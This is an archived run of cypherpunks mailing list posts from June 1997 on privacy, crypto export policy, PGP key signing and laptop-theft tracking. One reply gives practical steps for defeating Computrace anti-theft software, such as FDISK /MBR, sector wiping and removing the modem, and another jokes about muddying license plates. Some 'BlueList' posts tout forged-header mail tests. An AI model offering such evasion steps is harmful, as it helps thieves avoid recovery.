Unless you overwrite the MBR and the first TRACK on the disk.  Well, the
bar is raised by
about 3 minutes with DEBUG, thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 12 Jun 1997 21:33:03 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <19970611221203.50854@bywater.songbird.com>
Message-ID: <4PR78D89w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:

> On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
> > Ideas are not protected speech, since they only exist in the mind, only
> > expressions are protected.
>
> Actually, expression is heavily encumbered with state mechanism, since
> it is expression that is "protected" by copyright.  Ideas are also
> encumbered by the state, through patent law.  The whole notion of
> expression and ideas as property is purely sustained by the state.

Yes - "copyright" is a pretty recent invention.  I don't like it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 12 Jun 1997 21:12:18 +0800
To: cypherpunks@toad.com
Subject: Privacy Strategems
Message-ID: <1.5.4.32.19970612125024.0099affc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times has a long report today on the
massive data banks about US citizens operated by
commercial services for sale to marketers (and used
by databankers for special ops against those who sue 
them).

Emphasis is given to the number of states that sell
low-cost inmate services for data entry and preparation
of hot-selling Geographical Information Surveys which
map and stat in minute detail the life-style preferences
of purchasers. And how sharp and horny inmates snatch 
select data for criminal attacks on unwary citizens (and their
children) who cooperatively provided personal information 
to government agencies and market researchers.

Texas is featured as a leader in the privatization of
government data and using inmate labor to underbid
offshore sweatshop competitors -- all engendered
by citizen demands to reduce tax burdens.

Another report covers the Microsoft/Netscape effort
to ward off government regulation by agreeing on a
privacy protection program.

It's not clear how government and inmates will join the two
public-spirited corps in peddling the illusion of privacy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 13 Jun 1997 00:12:00 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: New key for shamrock@netcom.com
In-Reply-To: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970612090329.03c06a28@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:51 AM 6/12/97 -0500, William H. Geiger III wrote:
>I hope that you generated a new RSA key also or I would hang onto that old
>key.

I'll hang on to the old key. But it seemed time to at least generate its
successor.



--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Fri, 13 Jun 1997 00:32:38 +0800
To: frantz@netcom.com
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <v0300785fafc47bebdb24@[207.94.249.152]>
Message-ID: <199706121616.JAA08347@servo.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



The really ironic issue of late has been supercomputer exports. We now
have the spectacle of William Reinsch saying that export restrictions
on supercomputer *hardware* are unworkable because the technology is
available all around the world.

This is the very same Commerce official who still says with a straight
face that export controls on encryption *software* are workable and
desirable.

And we have the chairman of the House Judiciary Committee, the same
committee that recently approved the SAFE act to deregulate crypto
exports, calling for an investigation into Commerce's approval of
recent supercomputer exports to China.

Yet I presume nobody minds that we can ship as many Pentiums as we
want to China.

Somebody really needs to say the words "distributed computing" to
Congress. Perhaps that will be the major benefit of the DES Challenge
project when (not if) it succeeds.

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 13 Jun 1997 00:47:22 +0800
To: cypherpunks@toad.com
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
Message-ID: <199706121630.JAA27386@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 12 Jun 1997, Declan McCullagh wrote:
 
>
> Jut woke up, but I would argue "no." This would be the first
> constitutional weakening of the First Amendment ever. Hardly a move that
> strengthens free speech protections.
 
First constitutional weakening yes, but hardly the first weakening. :(    
What about virtual flag burning?  Any Javafolks out there wanting to
protest could write a nice "Click Here to Burn the Flag of these here
United States...  Just like Vince's Be a Crypto Runner page."

Flaming Flag Monger Citizen Unit #401598424628





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bluelist@hotmail.com
Date: Thu, 12 Jun 1997 23:26:25 +0800
Subject: It's only QA.
Message-ID: <m0wcBdG-00078hC@knuth.mtsu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Thee BlueList is NOT harassment.  
It's NetWare Quality Assurance.

No VM/CMS SMTP bugs here.  
This time it's a Linux Smail test.

In the future, look for similar tests
of HP SendMail, SGI/SVI, IBM OS/2, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 22:33:44 +0800
To: Kent Crispin <cypherpunks@Algebra.COM
Subject: Re: [off-topic CNN] Stolen Laptops and lame 'solution'
Message-ID: <199706121428.KAA18065@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> wrote:
> On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
> [...]
> >The end buyer should not be held responcible for the illegal activities of
> >the seller.
> 
> Regardless of responsibility, if the original owner can prove it is
> stolen goods, the end buyer is out of luck -- clearly the original
> owner should get their goods back.  And if the end buyer provably has
> clear knowledge that it is stolen property, they are an accesssory to
> the crime. 

The question of what happens to property which is bought in good 
faith, but is later discovered to be stolen, is not a clear one,
and is dealt with in different ways in different countries.

In the US, the property nearly always reverts to the original owner,
unless the thief is a government. However, I remember reading 
articles about stolen art which implied that that is not always 
the case in Europe.

When the stolen article is land, or governments and/or national pride
are involved, things get very strange. Greece is still trying to 
recover the Elgin Marbles, which were taken by a Briton from
the Parthenon around 1810, during the Turkish occupation. I'm sure
Egypt would also like the Rosetta stone back - this was taken by
Napolean in 1799, and later captured by the British. Both are now
in the British Museum.

Sometimes the claims go across millenia - the record I can think 
of being that certain specific parcels of land in Israel are 
claimed by modern Jewish settlers on the grounds that their 
purchase from the Philistines is explicitly mentioned in the Old 
Testament, while there is no extant record of their sale to 
the modern (non-Jewish) owners.

[usual disclaimers apply]

Peter Trei
trei@Process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joshua E. Hill" <jehill@w6bhz.calpoly.edu>
Date: Fri, 13 Jun 1997 02:03:39 +0800
To: frantz@netcom.com (Bill Frantz)
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007868afc5c5dd69c9@[207.94.249.152]>
Message-ID: <199706121752.KAA05673@hyperion.boxes.org>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz said:
> IMHO - What you are really signing is the binding between the data
> associated with the key (usually an email address) and the key.  

I think that you are signing the data, but not quite the 
description area. I think you are signing the key. Something 
like the statement "I believe that anything signed by this key 
came from the person known as 'X'".  This could be an e-mail 
address, pseudonym a DNA sequence, or whatever... The key (and
hopefully the binding between the key and the person in meat 
space) is what remains constant... not necessarily what the 
person chooses to go by.

			Josh

-----------------------------Joshua E. Hill-----------------------------
|                 Quantized Revision of Murphy's Law:                  |
|                   Everything goes wrong all at once.                 |
--------------------------jehill@w6bhz.calpoly.edu----------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 13 Jun 1997 02:26:29 +0800
To: cypherpunks@toad.com
Subject: Re: Access to Storage and Communication Keys et al
In-Reply-To: <19970610134844.39484@bywater.songbird.com>
Message-ID: <19970612110443.36617@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 13, 1997 at 01:15:04AM +0000, Peter Nicol - VRL / BroomStick Productions wrote:
> 
> etc etc etc . . .
> 
> >For all the secrets I currently know< etc etc etc . . .
> 
> I was taught in anarchist primary school that:
> 
> "Secrecy is a tool of the State".

Of course, we are all far past primary school, of whatever stripe, 
and realize that the world is a complex place that doesn't adhere to 
any particular ideology.

> Two daughters of a silk merchant live in Kyoto,
> The elder is twenty, the younger, eighteen.
> A soldier may kill with his sword,
> But these girls slay men with their eyes.

Basho?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 00:39:25 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
Message-ID: <199706121616.LAA20570@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>, on
06/12/97 
   at 11:57 AM, Ray Arachelian <sunder@brainlink.com> said:

> Of course toll boths take pix
>of the licensplates that pass by, but that's something I've no control
>over.)

A pickup truck & a little mud takes care of that problem. :)

Quite often there are low-tech solutions to high tech problems. :)))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 13 Jun 1997 00:02:30 +0800
To: Raymond Mereniuk <raymond@wcs.net>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706112341.QAA05443@mat.wcs.net>
Message-ID: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

> This has been discussed on this list before, about 1 year ago.  The 
> Computrace software is installed on a place on the hard drive where 
> DOS utilities like Fdisk and Format can not get at it.  This is the 
> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
> remove this version of Diskmanager.

Okay, so if format and fdisk won't get to it, then it must live in the
master boot record - (otherwise how would it run?)  Booting off a floppy
and running FDISK /MBR would wipe it.  If not, then a low level format
would.  If you lack the software for a low level wipe then a program that
zaps every sector of a drive including the MBR, and partition table would
fix it.  (If it lived on the boot sector than replacing it with the SYS
command would be possible.  If it lives in any other area, it can't
execute.)

Installing Linux with Lilo in the MBR would also zap it.  Can it work with
other operating systems?  Say NT, or Solaris x86, Linux, or OS/2?  It's
useless if someone can simply install a non-compatible OS.  If it still
works with other OS's, then it only runs durring the bootup processes.
Which means that you simply don't plug your modem on the phone line while
you boot up and that's that.  If it's only compatible with Win95 or DOS,
then you install NT or Linux, or Solaris, and that will bypass it.


[The other (unlikely) possibility is that it would live in the BIOS for
FlashBIOS machines, but this is not likely since if it were to go there,
chances are there would be bugs and incompatibilities between their
software and the BIOS that would damage the computer. ]
 
The 1st thing a smart theif would do is to remove the modem from the
notebook computer and sell it separatly.  That way until the sucker with
the stolen notebook buys and uses a modem, he's untraceable.  And he can
sell the modem to someone else.

> The Computrace software is configured to call the 1-800 number on a 
> regular pre-assigned schedule and talk to the computers at Absolute 
> Software.  If the notebook has been reported stolen the computers at 
> Absolute will advise the subject unit to call back on a more frequent 
> basis.  The Computrace software turns off all modem speaker 
> functionality.

What if the notebook HASN'T been reported as stolen?  Then this software
can be used to track the location of the notebook computer, and as such it
is a privacy intrusion device.  I don't want some piece of software, even
if it protects my computer from theft to report on where I am at a given
time.  It is none of Computrace's business.

As for the silent modem functionality, I can simply attach a phone monitor
on the line.  A simple $19 box from RadioShack that hooks up to a tape
recorder can be hooked up to a powered speaker.  If the theif hears the
notebook dial the phone, he'd know it's there.

In any case, I'm not as worried about notebook loss as I am about the data
on it, so having a good hard drive encryptor is more valuable to me than
losing $2K for a notebook computer.  I don't trust this hackish bit of
software, especially if it will keep tabs on my location when the thing
isn't stolen.

(And yes I have that same sentiment about the LoJack car transponder, and
the EZ-Pass toll paying system, and cell phones.  Each of these
technologies can report on your whereabouts and thus pinpoint your
location at any given time.  They're all invasion of privacy things that
the masses are suckered into buying for either protection or convenience.
Uncool stuff.  I'd rather get comprehensive theft insurance, and pay tolls
in cash. FYI: I do have a cell phone, but I keep it off so it can't
transmit anything when I'm not using it.  Of course toll boths take pix
of the licensplates that pass by, but that's something I've no control
over.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Gibbon <leegib@MICROSOFT.com>
Date: Fri, 13 Jun 1997 04:15:38 +0800
To: "'cypherpunks'" <cypherpunks@Algebra.COM>
Subject: FYI: release of "For the Record: Protecting Electronic Health Information"
Message-ID: <51194C00BD39CF11839000805F385DB204587083@RED-65-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



On-line versions appear to be available at this site as well as means to
buy it.

http://www.nap.edu/bookstore/enter2.cgi?0309056977

For the Record: Protecting Electronic Health Information 
by:   Committee on Maintaining Privacy and Security in Health Care
Applications of the National Information Infrastructure, National
Research Council
ISBN 0-309-05697-7; 1997, 288 pages

"...This book makes practical detailed recommendations for technical and
organizational solutions and national-level initiatives. For the Record
describes two major types of privacy and security concerns that stem
from the availability of health information in electronic form: the
increased potential for inappropriate release of information held by
individual organizations (whether by those with access to computerized
records or those who break into them) and systemic concerns derived from
open and widespread sharing of data among various parties. The committee
reports on the technological and organizational aspects of security
management, including basic principles of security; the effectiveness of
technologies for user authentication, access control, and encryption;
obstacles and incentives in the adoption of new technologies; and
mechanisms for training, monitoring, and enforcement...."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 02:20:48 +0800
To: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Subject: Re: Secrecy?
In-Reply-To: <199706121722.BAA27903@hedgehog.highway1.com.au>
Message-ID: <199706121804.NAA22406@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706121722.BAA27903@hedgehog.highway1.com.au>, on 06/13/97 
   at 01:20 AM, "Peter Nicol - VRL / BroomStick Productions"
<nicol@highway1.com.au> said:

>Hmmmm . . .

>After following this list for a while I offer the following  observation:

>"Would it be better to DEMAND the full disclosure of the governments 
>secrets rather than scramble around trying to keep ours."

>I am prepared to allow governments full access to my 
>communications when they allow me full access to theirs.

Well I for one am not.

What the government does is our business as they work for us. We have
every right to DEMAND full acess to what they are doing.

The government does not have the right to access to what it's citizens are
doing.

This is a simple boss-employee relationship and the government is *NOT*
the boss.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
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iQCVAwUBM6A7PY9Co1n+aLhhAQGo/gP8DQYlGj4wsGFxmqeJn3NusHrZRA61bm4n
lrRI2UAAJUNUZHyZ3a6nH0jb12pJuNHl1Iv3sUKcAph0jagxEqWw1UyYuhmeiEZc
T9A6QJl34EJCR3gNeQdxVxrXwW6DtVj7q5d27hVEhFgrgd+w6rUuKWv7WAJvViVO
KSZY8t//ZJs=
=JYGg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 13 Jun 1997 03:26:33 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: Um, I'm probably already in trouble for the last one.
Message-ID: <3.0.1.32.19970612141525.009749e0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from 0xdeadbeef  (inline tabs converted):
-----
Michael Strelitz <mstrelitz@cix.compulink.co.uk> wrote:
>
>> But not every bra has a cryptographic function. Most are used for ASCII 
>> armor or for compression. Some are even designed to make the plaintext
>> stand out and more enjoyable to read.
>
> Touche, but I believe what we have here is a clear case of steganography.

  Yikes.  I think that we should hammer down some definitions before
  this whole thing gets out of hand.

Cryptography:
  Building an difficult-to-unhook bra.

Steganography:
  Building a flesh-colored bra, or one whose unhook mechanism is
  hidden somewhere unexpected (Man:  "How the Hell...?"  Woman:
  "It unhooks in front."  Man:  "Damn those steganographers.")

Public-Key Cryptography:
  Building a bra that anyone can put on, but that only Alice can
  remove.

Watermarking:
  Building a bra that stays on even after smoothing, compression,
  and rotation.  Also, Bob should not be able to put his own bra
  on over Alice's and claim ownership of her body.

Fingerprinting:
  Um, I'm probably already in trouble for the last one, so I'll
  just skip this.

Signatures:
  Building a bra with a nametag ("Property of Alice, machine wash
  warm...") such that bras with Alice's name only fit Alice's body.
  Bob could in theory remove Alice's bra and replace it with his 
  own, but there's no real reason for him to do so.

All-or-Nothing Disclosure Of Secrets:
  Alice transforms her bra into a duffle bag, and either (a) shows
  Bob how to open it, or (b) shows Bob how she made it into a duffle
  bag.  Alice repeats the procedure until Bob is satisfied (perverted
  freak).

One-time Pad:
	Kleenex.

NSA:	An organization that wants women to go back to wearing corsets and
	chastity belts.  Oh, and Bill Clinton gets to keep all the keys.

[looks up at what's written so far and sighs]  I'm so damned juvenile.
I'm going to go do something more constructive and serious.  Well, happy
Monday.

				-Caj

	[**!!Oh, and these are not the views of my employer!!**]
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Haha.. you fool! You fell victim to one of the classic blunders. The most
famous is: Never get involved in a land war in Asia. Only slightly less
well know is this: Never go in against a Sicilian when death is on the
line!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 13 Jun 1997 05:18:35 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <3.0.2.32.19970612152540.00be65c0@cybercash.com>
Message-ID: <Pine.LNX.3.95.970612150732.498A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 12 Jun 1997, Carl Ellison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 09:16 AM 6/12/97 -0700, Phil Karn wrote:
> >Somebody really needs to say the words "distributed computing" to
> >Congress. Perhaps that will be the major benefit of the DES Challenge
> >project when (not if) it succeeds.
> 
> Too bad there isn't a simple word for "a computer in every vending machine, 
> VCR and even styrofoam coffee cup, capable of doing strong crypto".
> 
ubiquitious

but maybe that isnt simple






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Thu, 12 Jun 1997 23:34:09 +0800
Subject: just testing ...
Message-ID: <m0wcBjv-000252C@thorung.eeng.dcu.ie>
MIME-Version: 1.0
Content-Type: text/plain



Thee BlueList is NOT harassment.  
It's NetWare Quality Assurance.

Check the headers on this, and you'll
see that they are somewhat misleading.

Maybe there's some Mail Transfer Agent
bugs that need fixing.  Or, could it be the
specifications of how this is supposed to
work?

In the future, look for similar tests
of HP SendMail, SGI/SVI, IBM OS/2, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 13 Jun 1997 04:02:35 +0800
To: Phil Karn <karn@qualcomm.com>
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <v0300785fafc47bebdb24@[207.94.249.152]>
Message-ID: <3.0.2.32.19970612152540.00be65c0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:16 AM 6/12/97 -0700, Phil Karn wrote:
>Somebody really needs to say the words "distributed computing" to
>Congress. Perhaps that will be the major benefit of the DES Challenge
>project when (not if) it succeeds.

Too bad there isn't a simple word for "a computer in every vending machine, 
VCR and even styrofoam coffee cup, capable of doing strong crypto".

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Version: 5.0
Charset: noconv

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aUTN7UxSTr/4wLB3Km7iRhYIM5D9tG54ikPT6y1PO//O0bqtGycy/IcbfXhP7shn
7pfpqB48/8Wn2gZb2dxPRNLkg48EBgkmWnabFaR8hnxPsl6MjHDQnbtCsl45b1uc
PAdDTIquNqw=
=V/Xm
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 06:15:51 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: NEW TRAVEL INFO -- Antigua (fwd)
Message-ID: <199706122142.QAA11672@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-travel-advisories@stolaf.edu Thu Jun 12 16:39:22 1997
Date: 10 Jun 97 11:31:44 EDT
From: owner-travel-advisories <owner-travel-advisories@stolaf.edu>
To: travel-advisories@stolaf.edu
Subject: NEW TRAVEL INFO -- Antigua
Message-ID: <970610153144_76702.1202_CHN44-1@CompuServe.COM>
Precedence: bulk

STATE DEPARTMENT TRAVEL INFORMATION - Antigua & Barbuda
============================================================
Antigua and Barbuda - Consular Information Sheet
 June 9, 1997

Country Description:  Antigua and Barbuda is a developing island 
nation.  Tourism facilities are widely available.

Entry Requirements:  A valid passport or birth certificate and 
picture ID such as a drivers license are required of U.S. citizens 
entering Antigua and Barbuda.  A return ticket is sometimes 
requested.  Immigration officials are strict about getting exact 
information about where visitors are staying.  There is no fee for 
entering the country, but there is a $13.00 departure tax.  For 
further information on entry requirements, travelers can contact the 
Embassy of Antigua and Barbuda, 3216 New Mexico Avenue, N.W., 
Washington, D.C.  20016, telephone (202) 362-5122, or the Consulate 
of Antigua and Barbuda in Miami.

Medical Facilities:  Medical care is limited.  Doctors and 
hospitals often expect immediate cash payment for health services.  
U.S. medical insurance is not always valid outside the U.S.  In some 
cases, supplemental medical insurance with specific overseas 
coverage, including provision for medical evacuation, has proven 
useful.  For additional health information, travelers may contact 
the Centers for Disease Control and Prevention's international 
travelers hotline at (404) 332-4559, Internet:  http://www.cdc.gov/.

Crime Information:  Violent crimes and armed assaults have been 
perpetrated against tourists.  Petty street crime also occurs, and 
valuables left unattended on beaches are subject to theft.

The loss or theft of a U.S. passport overseas should be reported to 
the local police and the nearest U.S. embassy or consulate.  
Retaining a copy of the police report may facilitate return travel 
to the U.S.  A lost or stolen birth certificate and/or driver's 
license generally cannot be replaced outside the U.S.

U.S. citizens can refer to the Department of State's pamphlet "A 
Safe Trip Abroad," which provides useful information on guarding 
valuables and protecting personal security while traveling abroad.  
Both this pamphlet and "Tips for Travelers to the Caribbean" are 
available from the Superintendent of Documents, U.S. Government 
printing Office, Washington, D.C.  20402.

Drug Penalties:  U.S. citizens are subject to the laws of the 
country in which they are traveling.  Penalties for possession, use 
and trafficking in illegal drugs are strict, and convicted offenders 
can expect lengthy jail sentences and heavy fines.

Aviation Oversight:  As a result of an assessment conducted by the 
U.S. Federal Aviation Administration (FAA) in July 1996, the FAA has 
found the government of Antigua and Barbuda's civil aviation 
authority not to be in compliance with international aviation safety 
standards for oversight of Antigua and Barbuda's air carrier 
operations.  While consultations to correct the deficiencies are 
ongoing, Antigua and Barbuda's carriers are permitted to conduct 
limited operations to the U.S. subject to heightened FAA 
surveillance.  Based on the FAA's determination, the Department of 
Defense does not permit U.S. military personnel to use carriers from 
Antigua and Barbuda for official business except for flights 
originating from or terminating in the U.S., or in extenuating 
circumstances.  For further information, travelers may contact the 
Department of Transportation at 1-(800) 322-7873.

Traffic Safety/Road Conditions:  Driving in Antigua and Barbuda is 
on the left-hand side of the road, as in the United Kingdom.  Roads 
are narrow and in poor condition.  There is relatively little police 
enforcement of traffic regulations.  The condition of the roads and 
the speed at which many persons drive lead to serious traffic 
accidents.  More detailed information on roads and traffic safety 
can be obtained from the Antigua Tourist Board, tel. (268) 462-0480, 
or the Director General of Tourism, tel. (268) 462-1005.

Embassy Location/Registration:  U.S. citizens may register with the 
U.S. Consular Agent, Hospital Hill, English Harbour.  The mailing 
address is c/o U.S. Consular Agent, P.O. Box 664, St. John's, 
Antigua.  The telephone number is (268) 463-6531, Fax (268) 
460-1569, e-mail (no caps) ryderj@candw.ag.  The hours of operation 
are Monday-Friday, 9:00am-4:00pm. (Please call for appointment.)  
U.S. citizens may also contact the Consular Section of the U.S. 
Embassy in Bridgetown, Barbados, which is located in the American 
Life Insurance Company (ALICO) Building, Cheapside, tel. (246) 
431-0225, which has consular jurisdiction over Antigua and Barbuda.  
The hours of operation are Monday-Friday, 8:00am-4:00pm.

 No. 97-098

This replaces the Consular Information Sheet dated March 15, 1996 
to include entry requirements information, the CDC Internet address, 
and a section on traffic safety/road conditions.


----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- -----
The "travel-advisories@stolaf.edu" mailing list is the official Internet and
BITNET distribution point for the U.S. State Department Travel Warnings and
Consular Information Sheets.  To unsubscribe, send a message containing the
word "unsubscribe" to:	travel-advisories-request@stolaf.edu

Archives of past "travel-advisories" postings are available at the URL:
"http://www.stolaf.edu/network/travel-advisories.html" or via Gopher:
gopher.stolaf.edu, Internet Resources/US-State-Department-Travel-Advisories





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 07:20:30 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: There's no general right to privacy -- get over it, from Netly (fwd)
Message-ID: <199706122248.RAA11848@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Thu, 12 Jun 1997 18:58:37 -0400
> From: Declan McCullagh <declan@well.com>
> Subject: There's no general right to privacy -- get over it, from Netly

> likes to say "Privacy is not an absolute right, but a
> fundamental right." But in truth, privacy is not a
> right but a preference: Some people want more of it
> than others.

A right is not a question of popularity or amplitude, it is a question of
existance. It is or it isn't. Some people want more guns than others
(obvious even to you) so you seriously hold that there is no fundamental
Constitutional right to own firearms? Or speech, we don't all want to use it
to the same amount, we therefore don't have a right to free speech? Or (oh
my god!) crypto, we don't all want to use it to the same degree therefore we
don't have a right to use crypto?

Serious boo-boo.

I hope it ain't gone to print yet...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 13 Jun 1997 09:51:10 +0800
To: Bill Frantz <jehill@w6bhz.calpoly.edu>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <199706120709.AAA05445@hyperion.boxes.org>
Message-ID: <v03102800afc652637f93@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>IMHO - What you are really signing is the binding between the data
>associated with the key (usually an email address) and the key.  You are
>saying that the secret key holder is (one of the) person(s) who has access
>to that account, and not some man in the middle in the middle.  If you ask
>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>either see a forgery or an ID issued by an organization not interested in
>birth certificates.

I am fairly often accused of being arrogant, of being a "know it all." I
have never claimed to be an expert on PGP, and I certainly am not. I use
the MacPGP version which became available in '92, and will eventually star
t working with PGP 5.x (which I have, and have installed, but not spent
much time with).

I generated a 1024-bit key in '92, right after PGP 2.0 appeared, and
participated in a key signing, etc., shortly thereafter. It happened that
my ISP at that time had just changed from Portal to Netcom. (Now it's
"got.net", a fairly typical local provider of non-shell ISP services.)

I can't understand (hint: someone please explain) why I get so many
requests to send the "tcmay@got.net" key, as opposed to the
"tcmay@netcom.com" key so widely available. I thought the key signings were
about the Person Widely Known as "Tim May" being associated with the key
signed, not some temporary e-mail address.

My binding was between the key, and "me." Those who wanted to send messages
to "me" could assume that only "I" could read it. The address
